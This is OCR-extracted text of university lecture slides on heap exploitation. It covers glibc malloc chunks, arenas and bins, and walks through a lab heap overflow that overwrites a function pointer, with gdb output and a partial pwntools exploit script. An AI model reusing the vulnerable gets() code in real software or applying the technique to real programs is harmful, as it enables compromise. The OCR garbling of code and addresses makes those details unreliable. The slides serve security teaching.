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Heap Exploitation (1)
Dr. Si Chen (schen@wcupa.edu)




Virtual Memory
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Memory Management Unit(MMU)

Main memory

0:
1:
Virtual address Physical address 2
(VA) (PA) 3:
CPU MMU 1 4:
4100 5.
yY :
b:
7:
8:
M-1
Data word




The Heap
0x00000000
*

.data segment

It’s just another segment
In runtime memory

OXFFFFFFFF
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Basics of Dynamic Memory

int main()

{

char * buffer = ;

/* allocate a 0x100 byte buffer */

buffer = malloc( )

/* read input and print it */

fgets( , buffer, );

printf( , buffer);

/* destroy our dynamically allocated buffer */
free(buffer);

return ©;




Heap vs Stack

Heap
 Dynamic memory * Fixed memory allocations
allocations at runtime known at compile time

* Objects, big buffers, structs, Local variables, return
persistence, larger things addresses, function args

* Fast, Automatic
— Done by the programmer — Done by the compiler

— malloc/calloc/recalloc/free — Abstracts away any concept
— new/delete of allocating/de-allocating




Doug Lea‘s malloc Heap Chunks

* Heap chunks exist in two states
— in use (malloc’d)
— free’d

[t
TH it



malloc chunk

struct malloc_chunk {
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INTERNAL_SIZE_ T prev_size; /x Size of previous chunk (if free). x/
INTERNAL_SIZE_T size; /* Size in bytes, including overhead.x*/

struct malloc_chunk* fd; /* double links —- used only if free. */
struct malloc_chunkx bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunkx fd_nextsize; /* double links —— used only if free. x/
struct malloc_chunkx bk_nextsize;




Heap Chunks — Freed

unsigned int * buffer = NULL;
buffer = malloc(9x100);

free(buffer);

* Forward Pointer
— A pointer to the next freed chunk

* Backwards Pointer
— A pointer to the previous freed chunk

*(buffer-2) *(buffer-1) *buffer *(buffer+l)




Heap Chunks

unsigned int * buffer = NULL;
buffer = malloc(©x100);

//0ut comes a heap chunk

*(buffer-2) *(buffer-1) *buffer

#define PREV_INUSE 0x1
#define IS_MMAPPED @x2
#define NON_MAIN_ARENA 0x4




Pseudo Memory Map

<——— OX00000000 - Start of memory

€ Ox08048000 - Start of .text Segment

@ OXxb7ff0000 - Top of heap

@ Qxbfff0000 - Top of stack

@ OXFFFFFFFF - End of memory

Heap Exploitation




Heap Allocations

<“— 0X00000000

<— OXFFFFFFF



Heap Allocations

<“— 0X00000000

<— OXFFFFFFF



Heap Allocations

<“— 0X00000000

<— OXFFFFFFF



Heap Overflows

<“— 0X00000000

<— OXFFFFFFF



Heap Overflows
Buffer overflows are basically the same on

the heap as they are on the stack

<— 9XxX00000000
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<— OXFFFFFFF




#include
#include
#include
#include
#include

struct data {
char name[64];

b

struct fp {
int (*fp)();
}i
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void winner()

{
printf( \n");

}
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void nowinner()

{
printf( \n");

}

L
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int main(int argc, char **argv)
6 {

7 struct data *d;

8 struct fp *f;

o

@ W

malloc(sizeof(struct data));
malloc(sizeof(struct fp));
>fp = nowinner;

S
[

d
.F
f-
printf( %p sp\n", d, f);

gets(d->name) ;
f->fp();
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#include
#include
#include
#include
#include

struct data {
char name[64];

}l

struct fp {
int (*fp)();
b

void winner()

{
printf(

}

void nowinner()

{
printf(

}

int main(int argc, char **argv)

{

struct data *d;
struct fp *f;

d
.f

printf(

gets(d->name);
f->fp();

First object on heap; name[64]
Second object on heap; fp = contains a pointer

Winner() — We want to execute this function

malloc(sizeof(struct data));
malloc(sizeof(struct fp));
f->fp = nowinner;

of
o

sp\n*, d, T);




1 #include
2 #include
3 #include
4 #include
5 #include
6
7
8

struct data {
char name[64];

9 }l

11 struct fp {
12 int (*fp)();
13 h

15 void winner()
16 {

17 printf(

18 }

20 void nowinner()
21 {

22 printf(

23 }

Second object on heap; fp = contains a pointer

Winner() — We want to execute this function
\n");

25 int main(int argc, char **argv)

26 {

27 struct data *d;

28 struct fp *f,

30 d = malloc(sizeof(struct data)); malloc() allocates storage on the heap
31 f = malloc(sizeof(struct fp));

34 printf(

37 gets(d->name);
38 f->fp();

40 }

32 f->fp = nowinner; fp points to nowinner()

p “pAn’, d, f);

gets() take user input and copied into 64-byte array on the heap,
without checking its length... oops




L*] NO g€epugging session daciive

Check Heap Address i e

Starting program: /home/wcu@day/ss2021_examples/classl4/heap@

Breakpoint 1, 0x@804920b in main ()
/home/wcu@day/.gdbinit—-gef.py:2382: DeprecationWarning: invalid escape sequence '\/'
res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=1length).strip()

[ Legend: Modified register | | | | String ]
. registers
$eax i 0xf7f9c9a8 - - -+ "USER=wcu@day"
= Before the malloc() function
$ecx H - 0x00000001
” $edx -~ 0x00000000
Ca . $esp - - 0x00000001
$ebp H - 0x00000000
$esi 1 oox1
$edi : -
$eip : -
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
: 0x0023 1 @x002b 1 @x002b 1 0x002b 1 Ox0000 $gs: 0x0063
stack
Oxffffd2oo [+0x0000: - 0x00000001
Oxffffddo4 [+0x0004: 0x00000000
Oxffffd8os [+0x0008: 0x00000000
Oxffffd8oc|+0x000cC: -
Oxffffd81lo [+0x0010: 0x00000001
OxTfffd8l4 [+0x0014: -
Oxffffd818 [+0x0018: 0x00000000
Oxffffd8lc|+0x001c: -
code:x86:32
0x804920e <main+18> call 0x80490e@ <_ x86.get_pc_thunk.bx>
0x8049213 <main+23> add ebx, @x2ded
@x8049219 <main+29> sub esp, @xc
0x804921c <main+32> push 0x40
0x804921e <main+34> call 0x8049060 <malloc@plt>
threads
[#0] Id 1, Name: "heap®", stopped 0x804920b in main (), reason: BREAKPOINT
trace
[#0] ©x804920b - ()
gef> wvmmap
[ Legend: | | ]
Start End Offset Perm Path

0x08048000 0x08049000 0x00000000 r—— /home/wcu@day/ss2021_examples/classl4/heap®

0x08042000 0x0804b000 0x00002000 r—— /home/wcu@day/ss52021 examples/classld/heap@d
0x0804b000 0x0804c000 0x00002000 r—— /home/wcu@day/s52021_ examples/classld/heap@d
0x0804cP00 0x0804d000 0x00R3000 rw- /home/wcu@day/ss2021_examples/classl14/heap®
0xf7daal@@ Oxf7dc7000 0x00000000 r—— /usr/1ib32/1ibc-2.33.s0

Oxf7f25000 Oxf7f37000 0x0017b00OO r—— /usr/1lib32/1libc-2.33.s0
Oxf7f97000 Oxf7f38000 0x001ed0®® ——- /usr/lib32/1libc-2.33.s0
0xT7fo8000 Oxf7f02000 0x001ed@@®® r—— /usr/1ib32/1ibc-2.33.5s0
0xT7f9a000 Oxf7f3c000 0x001ef@@O rw- /usr/lib32/1ibc-2.33.s0
0xf7f9c000 Oxf7fa5000 0x00000000 rw-

oxf7fc7000 0xf7fcbood 0x00000000 r—— [vvar]

0xf7fcd000d Oxf7fce@dd 0x00000000 r—- /usr/1lib32/1d-2.33.s0
Page = 19 Oxf7fef000 @xf7ffbe@o 0x00022000 r—- /usr/lib32/1d-2.33.s0

oxf7ffbo@0 Oxf7ffd0od 0x0002d000 r—— /usr/lib32/1d-2.33.s0
Oxf7ffdooo oxf7ffe@dd 0x0002f000 rw- /usr/lib32/1d-2.33.s0




Check Heap Address

disas main = =
Dump of assembler code for function main: | Aft th f t ” f t ”
Ler code for function main: er the 1rst malioc() runctuon call.
<t+4>: and esp,Oxfffffffo
<+7>: push DWORD PTR [ecx-0x4]
<+10>: push  ebp
<+11>: mov ebp,esp
<+13>: push  ebx : -->
<+14>: push  ecx : Ox21eb9
<+15>: sub esp,0x10 . --> Ox0
<+18>: call  0x80483f0 < x86.get pc thunk.bx> . .
<+23>:  add  ebx,0xladd : > Bx1d4d6e
<+29>: sub esp,0xc : 0x0
£325. gush___0x4n . --> 0x0
<+34>: call 0x8048360 <malloc@plt> I : --> 0x40 ('@')
SR qoa . eop, 0X 10 : (<main+39>: add esp,0x10)
<+42>: mov DWORD PTR [ebp-0x10],eax 1 0x282 ( SIGN INTERRUPT
<+45>: sub esp,0xc
<+48>. push ___Ox4 .
<+50>: call  0x8048360 <malloc@plt> l 0x8048529 <ma%n+29>:
R G| TSR 0x804852c <main+32>:
<+58>: mov DWORD PTR [ebp-0xc],eax 0x804852e <main+34>:
<+61>: mov eax,DWORD PTR [ebp-0xc] 0x8048533 <main+39>: add esp,0x10
<tbd>:  lea  edx, [ebx-Ox1blf] 0x8048536 <main+42>: mov  DWORD PTR [ebp-0x10],eax

<+70>: mov DWORD PTR [eax],edx ; .
P ub esp,0xd 0x8048539 <main+45>: sub esp, 0xc

<4755 push  DWORD PTR [ebp-0xc] 0x804853c <main+48>: push  0Ox4
<+78>: push  DWORD PTR [ebp-0x10] 0x804853e <main+50>:

<+81>: lea eax, [ebx-0x19b9]

<+87>: push  eax 0000 | --> 0x40 ('@")

<+88>: call 0x8048340 <printf@plt> 0004 |

<+93>: add esp,0x10 B . .
<#96>:  mov  eax,DWORD PTR [ebp-6x10] 0008 | -- --> ("LC_TERMINAL VERSION=3.3.6")

<+090>: sub esp,0xc 0012 -- (<main+23>: add ebx, 0x1ladd)

<+102>: push eax 0016 | --

<+103>: call 0x8048350 <gets@plt> 0020 | -- --> ("/home/schen/heap/heap@")
<+108>: add  esp,0x10 0024 .- --> ("LC TERMINAL VERSION=3.3.6")

<+111>: mov eax,DWORD PTR [ebp-0xc] . . . i
114> mov eax.DWORD PTR [eax] 0028 | (< libc csu init+33>: lea eax, [ebx-0xf4])

<+116>: call eax

<+118>:  mov eax,0x0 Legend: , value
<+123>: lea esp, [ebp-0x8]

<+126>:  pop ecx Breaknoint 2 ip madin ()
<+127>: pop ebx vmmap

<+128>: pop ebp

<+129>: lea esp, [ecx-0x4]

<+132>:  ret 0x08048000 0x08049000 r-xp /home/schen/heap/heap®
End of assembler dump. 0x08049000 0x0804a000 r--p /home/schen/heap/heap0
0x0804a000 0x0804b0O0 rw-p /home/schen/heap/heap®
0x0804b00O 0x0806dOOO rw-p [heap]
0xf7del000 Oxf7fh3060 T-xp /1ib32/1ibc-2.27.
AxF7Fb3000 Oxf7fb4000 ---p /1ib32/1ibc-2.27.
0xf7fb4000 0xf7fb60OO r--p /1ib32/1ibc-2.27.
0xf7fb6000 Oxf7fb7000 rw-p /1ib32/1ibc-2.27.
Heap . OX804bOOO _ OX806d OOO Oxf7fh7000 Oxf7fbaddd rw-p mapped
- 0xf7fd0oe0 Oxf7fd2000 rw-p mapped
Oxf7fd2000 Oxf7fd5000 r--p [vvar]
0xf7fd5000 Oxf7fd600O r-xp [vdso]
0xf7fd6000 Oxf7ffcOO0 r-xp /1ib32/1d-2.27.50
Page = 20 OxF7fc000 Oxf7Ffdeee r--p /1ib32/1d-2.27.50
Oxf7ffdo00 Oxf7ffe@O0 rw-p /1ib32/1d-2.27.5s0
Oxfffddoeo Oxffffe0@d rw-p [stack]




Collect info

data is at 0x804bl60, fp is at 0x804blb0O

distance 0x804b160 0x804b1b0 find th £f
From 0x804b160 to Ox804b1b0: 80 bytes, 20 dwords WLLSRUIENOIEIE

Why 80 bytes??

disas winner
Dump of assembler code for function winner:
<+0>: push  ebp
<+1>: mov ebp,esp
<+3>: push  ebx
<+4>: sub esp,0x4
<+7>: call 0x8048591 < x86.get pc thunk.ax>
<+12>: add eax, 0x1b3e
<+17>: sub esp, 0xc
<+20>: lea edx, [eax-0x19e0]
<+26>: push  edx
<+27>: mov ebx, eax
<+29>: call 0x8048370 <puts@plt>
<+34>: add esp,0x10
<+37>: nop
<+38>: mov ebx,DWORD PTR [ebp-0x4]
<+41>: leave
<+42>: ret
End of assembler dump.




Why 80 Bytes?

Total Chunk Size = Align(Requested Size + Header Size, Alignment (16 bytes)

Chunk Size Data
(4 bytes)

(16 + (n / 16)*16 bytes)

*(buffer-2) *(buffer-1)

* malloc(64) > n =64

» Total Chunk Size = Align(Requested Size +
Header Size, Alignment) = 80

= Datasize=80-4=76
= Sodistance=76+0+4 =80
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*buffer

Previous Chunk Size

Data

Previous Chunk Size

Chunk Size

Previous Chunk Size




Shellcode and Attack

pwn
main():

p = process(
- heap python exploit.py
[+] Starting local process './heap@': pid 5225
5225
[*] Switching to interactive mode
data is at 0x804b1l60, fp is at 0x804blb0O
$
level passed
[*] Process './heap0' stopped with exit code 0 (pid 5225)
[*] Got EOF while reading in interactive

$

[*] Got EOF while sending in interactive

raw input(str(p.proc.pid))

p.send(payload)

p.interactive()

main()
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Heap Overflows

* In the real world, lots of cool and complex
things like objects/structs end up on the heap

— Anything that handles the data you just corrupted
is now viable attack surface in the application

* [t's common to put function pointers in structs
which generally are malloc’d on the heap

— Overwrite a function pointer on the heap, and
force a codepath to call that object’s function!
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Heap in Linux (GNU C Library — glibc)

ptmalloc?2

System call: brk() mmap ()

DESCRIPTION
brk() and sbrk() change the location of the program break, which defines the end of the process's data segment
(i.e., the program break is the first location after the end of the uninitialized data segment). Increasing
the program break has the effect of allocating memory to the process; decreasing the break deallocates memory.

brk() sets the end of the data segment to the value specified by addr, when that value is reasonable, the sys-
tem has enough memory, and the process does not exceed its maximum data size (see setrlimit(2)).

sbrk() increments the program's data space by increment bytes. Calling sbrk() with an increment of 0 can be
used to find the current location of the program break.

NAME
mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
#include <sys/mman.h>

void *mmap(void *addr, size t length, int prot, int flags,
int fd, off _t offset);
int munmap(void *addr, size t length);

See NOTES for information on feature test macro requirements.

DESCRIPTION

mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the
new mapping is specified in addr. The length argument specifies the length of the mapping (which must be
greater than 0).




Heap Chunks

unsigned int * buffer = NULL;
buffer = malloc(©x100);

//0ut comes a heap chunk

*(buffer-2) *(buffer-1) *buffer

#define PREV_INUSE 0x1
##fdefine IS MMAPPED 0x2
#define NON_MAIN_ARENA 0x4




The Heap

Different for
each process

Identical for
each process L

Process-specific data
structs (ptables,
task and mm structs,
kernel stack)

Physical memory

Kernel code and data

User stack

%esp

brk —

v

Memory mapped region
for shared libraries

t

0x08048000 (32)

Runtime heap (malloc)

Uninitialized data (.bss)

Initialized data (.data)

Program text (.text)

0x00400000 (64)

%

Kernel

> virtual

memory

Process
virtual
memory
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Design your own Heap management system

Free(3) NULL

= |inked List / —
prev

/

-\

E
\-X

Free(1)

next
prev
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NULL



Design your own Heap management system

H: header --> 11

= bitmap B: Body -->10
F: Free - 00
H B F F F F F F
F H B B B F F H

Bitmap representation:
(HIGH) 11 00 00 10 10 10 11 00 00 00 00 00 00 00 10 11 (LOW)

128 byte per chunk
1IMB /128 =8k
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g | | b C source Cco d e https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

-$_git clone git ://sourceware.o rgigit/glibc . 9&

Main Arena

Fast bin index 0 1

Chunk size[ 16 I 24

\ Top chunk
]
A ey \
Chunks E] [:I ¢ :
Regular 1 2 3 64 65
bin index 126
D Chunk size [ U"Sboi:ec’ I 16 24 I 512 I 576 I >=262144%2 ]
Chunks Ej [j
L0 L] iy
rage = 51
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Non-Main Arena

Top chunk

Arena: the top level memory management entity.

There are two types of arenas.

— Main arena covers the traditional heap area: the space between start_brk and
brk for a process from kernel point of view, only one main arena exists for a
process.

— Non-main arena manages the memory fetched from kernel via mmap() system
call, there could be 0 to 2*(humber of cpu cores) such arenas based on
process threads usage.
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struct malloc_state
{

/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

#if THREAD_STATS
/* Statistics for locking. Only used if THREAD STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;

#endif

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk — not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. */
struct malloc_state *next_free;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE T system_mem;

INTERNAL_SIZE T max_system_mem;

|7




gef> heap arena
Arena (base=0xf7f9a700, top=0x804d608, last_remainder=0x0, next=0xf7f9a700, next_free=0x0, system_mem=0x22000)
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Bins and Chunks

= A bin is a list (doubly or singly linked list) of free (non-allocated) chunks.
Bins are differentiated based on the size of chunks they contain:

— Fast bin Main Arena

— Unsorted bhin

— Small bin

— Large bin

Fastbinindex © 1

— tcache hin (hunksize[ 1 I 2 [ I w | . I 5 ] \

\: Top chunk

Chunks [::] 1
Regular 1 2 3 64 65
bin index 178

Chunk size [“"‘;:E"I 15 [ 2 I I 512 I 576 I I >=262144%2 ]

gef> héépiblns
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[+] Found @ chunks in @ small non-empty bins.

[+] Found @ chunks in @ large non-empty bins.



Educational Heap Exploitation

https://github.com/shellphish/how2heap

shellphish / how2heap © watch~ 208 % Unstar 2,616 ¥ Fork 577

<> Code ssues 9 Pull requests 1 Projects 0 Wik Insights

A repository for learning various heap exploitation techniques.

{D 185 commits Y 1 branch 0 releases 42 34 contr

Branch: master v New pull request Create new file Upload files Find file

& mightymo Fix some typos Lat mit 9fac498 17 days ago

gitignore added mor nts and uy
Makefile

README.md bdating README \or o
fastbin_dup.c REF R: Exc ge printf for fprintf t ]

first_fit.c Fix printing new \ first fi

glibc_ChangelLog.md

glibc_build.sh olv he conf K]

glibc_run.sh Add scrif to quick | )C Versiol

malloc_playground.c print pid 1 playc¢ ind for gdb atta )

README.md

Educational Heap Exploitation

This repo is for learning various heap exploitation techniques. We came up with the idea during a hack meeting, and have
implemented the following techniques:

s : Glibc- Applicable CTF
File Technique .
Version Challenges

first_fit.c Demonstrating glibc malloc's first-fit behavior.

Tricking malloc into returning an already-allocated
fastbin_dup.c . > 3 5

heap pointer by abusing the fastbin freelist.
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Tricking malloc into returning a nearly-arbitrary 9447-search-engine,

fastbin_dup_into_stack.c latest

pointer by abusing the fastbin freelist. Octf 2017-babyheap




= To be continued ...
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